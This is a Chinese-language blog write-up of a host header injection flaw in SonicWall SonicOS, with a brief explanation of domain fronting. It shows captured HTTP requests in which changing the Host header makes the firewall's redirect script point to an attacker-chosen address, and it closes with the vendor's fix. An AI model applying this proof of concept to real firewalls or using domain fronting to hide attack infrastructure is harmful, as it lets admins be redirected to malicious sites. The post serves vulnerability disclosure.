淺談Sonicwall SonicOS的host頭注入,防火墻絕對安全?
前言
最近研究一些防火墻的一些技術,因為現在大多數服務器都架設了防火墻,所以管理員們一致認為只要有了防火墻,那服務器就是安全的,但事實真是如此么?有的時候正是這種所謂的“安全”導致了一些邏輯上面的漏洞。
Sonicwall
Sonicwall是互聯網安全設備為各類組織提供一流的安全平臺,簡單說就是做防火墻的。
官網:https://www.sonicwall.com/
SonicOS是其的一個產品,這是它的數據表

漏洞也發生在這個產品上
SonicOS的操作界面

host注入
首先host頭注入漏洞可能使攻擊者能夠欺騙特定主機標頭,從而使攻擊者能夠呈現指向帶有中毒主機標頭網頁的惡意網站的任意鏈接。
在Sonicwall中發現一個問題,host頭的值被隱式設置為受信任,從而導致host注入,SonicOS 中的主機頭重定向漏洞可能允許遠程攻擊者將防火墻管理用戶重定向到任意 Web 域。而這應該被禁止,并且受影響的主機可以用于域前置。
給大家介紹一下域前置:
域前置技術必須要用https,因為它是基于TLS協議的,域前置還有一個特點是需要修改請求包的host頭(host頭注入根本),修改方法是修改malleable profile文件,域前置技術可以使用別人的高信譽域名來隱藏自己的真實域名,例如用百度的域名偽裝自己,當然前提是百度的域名得跟你的域名再同一個CDN下,這種技術現在在不少的CDN廠商下都被禁止了,不一定會利用成功。一旦成功,攻擊者可以利用受影響的主機在各種其他攻擊中隱藏。
以下是在SonicOS配置下截取的一個包:
GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests:Cache-Control: max-age=0
他的響應如下:
HTTP/1.0 200 OKServer: SonicWALLExpires: -1Cache-Control: no-cacheContent-type: text/html; charset=UTF-8;X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINContent-Security-Policy: default-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’ blob: data: ws: wss: sonicwall.com *.sonicwall.com; <html> <body>Please be patient as you are being re-directed to <a target="_top">a>body>html>
當出現Please be patient as you are being re-directed時,說明網站在跳轉頁面,和重定向有異曲同工之妙,返回包中,防火墻返回了域名地址,這個時候防火墻所在的服務器也會訪問此地址。
我們試著改一下這個host
GET / HTTP/1.1Host: 127.0.0.2User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0
注意:改的host必須要和服務器處于同一個cdn下才可以實現域前置。
此時的相應包會是這樣:
HTTP/1.0 200 OKServer: SonicWALLExpires: -1Cache-Control: no-cacheContent-type: text/html; charset=UTF-8;X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINContent-Security-Policy: default-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’ blob: data: ws: wss: sonicwall.com *.sonicwall.com;
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><script type="text/JavaScript">var resetSecureFlag = false;setTimeout(“goJump();”, 1000);function goJump() {var jumpURL = “https://127.0.0.2/index.html“;var jumpProt = jumpURL.substr(0,6).toLowerCase();var ix;if (jumpProt.substr(0,4) == “http” && (ix = jumpProt.indexOf(“:”)) != -1) {jumpProt = jumpProt.substr(0,ix+1);if (location.protocol.toLowerCase() != jumpProt) {window.opener = null;top.opener = null;}}if (resetSecureFlag) {var sessId = getCookie(“SessId”);var pageSeed = swlStore.get(“PageSeed”, {isGlobal: true});if (sessId) { setCookieExt(“SessId”, sessId, { strictSameSite: true }); }if (pageSeed) { swlStore.set(“PageSeed”, pageSeed, {isGlobal: true}); }}top.location.href = jumpURL;}function setCookie(key, value) {var argv = setCookie.arguments;var argc = setCookie.arguments.length;var expires = (argc > 2) ? argv[2] : null;var path = (argc > 3) ? argv[3] : null;var domain = (argc > 4) ? argv[4] : null;var secure = (argc > 5) ? argv[5] : false;document.cookie = key + “=” + escape (value) +((expires == null) ? “” : (“; expires=” + expires.toGMTString())) +((path == null) ? “” : (“; path=” + path)) +((domain == null) ? “” : (“; domain=” + domain)) +((secure == true) ? “; secure” : “”);}function getCookie(key) {if (document.cookie.length) {var cookies = ‘ ‘ + document.cookie;var start = cookies.indexOf(‘ ‘ + key + ‘=’);if (start == -1) {return null;}var end = cookies.indexOf(“;”, start);if (end == -1) {end = cookies.length;}end -= start;var cookie = cookies.substr(start,end);return unescape(cookie.substr(cookie.indexOf(‘=’) + 1, cookie.length - cookie.indexOf(‘=’) + 1));} else {return null;}}script>Please be patient as you are being re-directed to <a target="_top">a>head>html>
你可以發現他的jumpURL變成了我們設置的,可以證明確實存在host注入的。
漏洞成因就是SonicOS默認主機頭是信任的,且每次會把host給到jumpURL,架設了防火墻帶來了host注入,此時你還認為防火墻絕對安全么?
解決辦法
此漏洞在2021 年 10 月 12 日已被官方解決
禁用 HTTP 管理,僅使用 HTTPS 管理。
但我認為這治標不治本啊,防火墻本身還是認為host是安全的啊!希望下一個版本可以徹底解決此問題。